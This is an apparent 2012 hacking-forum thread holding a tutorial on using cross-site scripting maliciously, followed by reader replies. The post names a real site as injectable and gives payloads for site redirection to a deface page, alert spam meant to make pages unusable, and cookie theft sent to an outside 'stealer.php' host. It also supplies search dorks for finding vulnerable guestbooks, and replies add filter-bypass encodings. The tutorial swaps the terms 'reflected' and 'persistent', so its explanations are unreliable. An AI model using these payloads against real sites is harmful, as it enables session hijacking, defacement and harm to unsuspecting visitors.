Forum:Hack Forums

Thread: ?[TUT] XSS (Cross Site Scripting) [TUT] (NOOB FRIENDLY)?

Natalie Portman - *March 1, 2012, 6:58 pm*

Hello all!

I have seen more than a few threads / posts asking for a tutorial on how to use XSS maliciously, so I thought I would write a tutorial.

First things first.

XSS stands for Cross Site Scripting. It involves injecting code (generally HTML, but also JavaScript) into a webpage, and this code generally having a malicious effect on the target site.

Is the vulnerability reflected or not?
A non-reflected (a.k.a. non-persistent) XSS flaw is frankly, useless. Sure they are cool to find in big websites, but they are not terribly useful, hence, they are everywhere.

An example of reflected XSS is here:
Spoiler (Click to View)Go Here and enter into the search bar:
Code "><script>alert("XSS")</script>

Note how a Java alert box comes up saying "XSS Here!".
This means that we have entered a script code into an input box somewhere on the site. In this case it was a search bar.
If you enter the following into the search bar at Rollingstone.com, you will find that it gives the alert "1".
Code ';alert("1")//
You can change the 1 in the syntax to whatever you want, and that will hence be alerted also.

However, despite being cool because you can "manipulate the website" you're not actually harming it in any way.

Code ';alert("1")//Is not the only XSS string, and many websites have prevented against it, despite the fact that they are useless. Many other strings that are more circumstantial can be found here:
Spoiler (Click to View)Here

Now, onto the main event. Reflected (a.k.a. persistent XSS).

Reflected XSS is one of the largest flaws in websites, just behind SQLi and LFI. This involves a scenario where rather than just displaying the XSS syntax for you (Like when you input the syntax into a search bar), the syntax is instead stored on the page, meaning that the syntax output occurs for everyone.

This means that you can exploit the full power of XSS.

Examples of things you can do now include, but are not limited to:
- Stealing the cookies of everyone who visits that site.
- Redirecting the user to a webpage, usually a deface page.

- Spamming alerts everywhere which makes the website unviewable.
- Inputting hyperlinks.

An example of a website with a reflected XSS vulnerability is here.

Because of the amount of spam that this guestbook receives, it will constantly be usable for injection, the page is usually filled after only a couple of minutes, and a new page is created.

Spoiler (Click to View)This webiste!

If you go to this site, you will see that there are many comments, all with hyperlinks. The XSS they have injected is not malicious, but adware. Their code resembles something like this:
Code Buy Viagra here! Cheap Viagra here now!
This <a> code inputs a hyperlink, but is otherwise harmless.

However, if you input the following string, everyone will get an alert when they view the page saying "Hi! I'm the best!"
Code <script>alert("Hi! I'm the best!")</script>
You can also use a redirect script to redirect the viewer to your deface page, making the page appear defaced.
Code <script>window.location = "http://users11.jabry.com/"</script>
That site is my deface page, and that string is what I inject when I find a site such as this.

You could also input something really annoying, like this:
Spoiler (Click to View)Code <script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>

But far more times, which would make the page unviewable due to the massive number of alerts.

Please do not inject that spam string into the website, as I want the guestbook to be available for testing to everyone :).

You can also steal the cookies of everyone who visits that site, for example:
Spoiler (Click to View)Code <script language="Javascript">
document.location="http://www.host.com/mysite/stealer.php?cookie=" + document.cookie;</script>

What this will do is redirect the viewer to a site called host.com, to a page called stealer.php, then log their cookies.

What this means is that someone who injects this string into a forum (Luckily HF has very good XSS security) can obtain the username and password of anyone who views the site. :O.

The following google dork (Just paste it into google) can be used to look for vulnerable guestbooks.
Code allinurl:guestbook.phpYou may also want to use on the end of it:
Code site:AUThis will only look for sites hosted in Australia, but there are many others. For example:
CA: Canada
UK: United Kingdom

Just do a google search of country site suffixes.

Well guys I hope you have enjoyed my tutorial, and that you put it to good use in the world!

NOTE: Not all sites are vulnerable to XSS, many sites filter their HTML and JavaScript code, so that you cannot do this. Because of this it may take some time to find a vulnerable site, but, if you look hard enough, I assure you that you can easily find some.

Good luck!
- Envyy

I took the time to write this tutorial, please take the time to post a reply!

Pwned Hero - *March 2, 2012, 10:44 am*
fast tutortial but not bad ;) nice bro

ironangel - *March 2, 2012, 12:23 pm*
Nice man, thanks you.
really short and easy but nice (:

Careless. - *March 15, 2012, 12:25 am*
Quote:A non-reflected (a.k.a. non-persistent) XSS flaw is frankly, useless. Sure they are cool to find in big websites, but they are not terribly useful, hence, they are everywhere.

Wrong.
With a small bit of SE, you can get your target's cookies.
It's very useful if you know what to do with it :)

PoRt21 - *March 20, 2012, 1:23 am*
bypass xss filters <ScRipT>AlErT("Hi! I'm the best!")</sCripT>

%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%69%21%20%49%27%6D%20%74%68%65%20%62%65%73%74%21%22%29%3C%2F%73%63%72%69%70%74%3E

<script>alert("Hi! I'm the best!")</script>

Sugawara - *March 20, 2012, 1:27 am*
Not bad.! I Like It.! Explained Properlyy

dawnofwar - *March 20, 2012, 3:19 am*
Nice tutorial, but the sites don't work anymore.

StA_Wiesbaden - *March 28, 2012, 6:26 am*
This is a great Tutorial!
I will start with XSS soon. Thanks!

lovelykiss87 - *March 29, 2012, 4:31 am*

Great tutorial thanks great man graeat work..

Cold_Blooded - *March 29, 2012, 5:00 am*
Thanks for this, i hope to start doing this soon as well.

stretonion - *April 3, 2012, 3:57 am*
Nice tutorial!
message t00 short....

stretonion - *April 3, 2012, 3:57 am*
laptop stuck... please delete the last 2 posts...

Uiqueblhats - *April 15, 2012, 3:53 am*
This is a great Tutorial!
I will start with XSS soon. Thanks!
bookmarked

Joinhacker - *October 15, 2012, 1:37 pm*
I think I missed something, is it really so easy that I just have to input <script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>

in the search bar of the rolling stone site and then it pops up for anyone visiting?

Natalie Portman - *October 16, 2012, 4:00 am*
(Oct 15, 2012 01:37 PM)Joinhacker Wrote: [CITE] I think I missed something, is it really so easy that I just have to input <script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>
<script>alert("TROLL SPAM HUR HUR HUR")</script>

in the search bar of the rolling stone site and then it pops up for anyone visiting?
No, it doesn't work like that. It works on the guestbook because the XSS query is stored on the page, however it is not displayed on Rolling Stone, if you know what I mean. The XSS code is shown on the search for page as "You searched for: (XSS query)" or something similar, and if someone searched for the same query, they'd see it too. It would work like you described if there was a "most recent searches" feature or something similar. Basically, the search or input has to be visible to everyone, for it to work like you described, not just as a unique page.

Hope that clears it up, it's kind of hard to explain.

Good luck!
- Vinyl.

Gangolian - *October 20, 2012, 11:49 pm*

tyvm i appreciate the tut. Well informed and quick to undertand

xFoRgot3n_Fobz - *December 4, 2012, 5:18 pm*
Nice tutorial :) Im only new to all of this but this helped me a lot

Lvl0 - *December 4, 2012, 11:05 pm*
This is a beast tutorial. A+++ but I will like to know how can I inject those javascripts on a IP Board Forum?
Thanks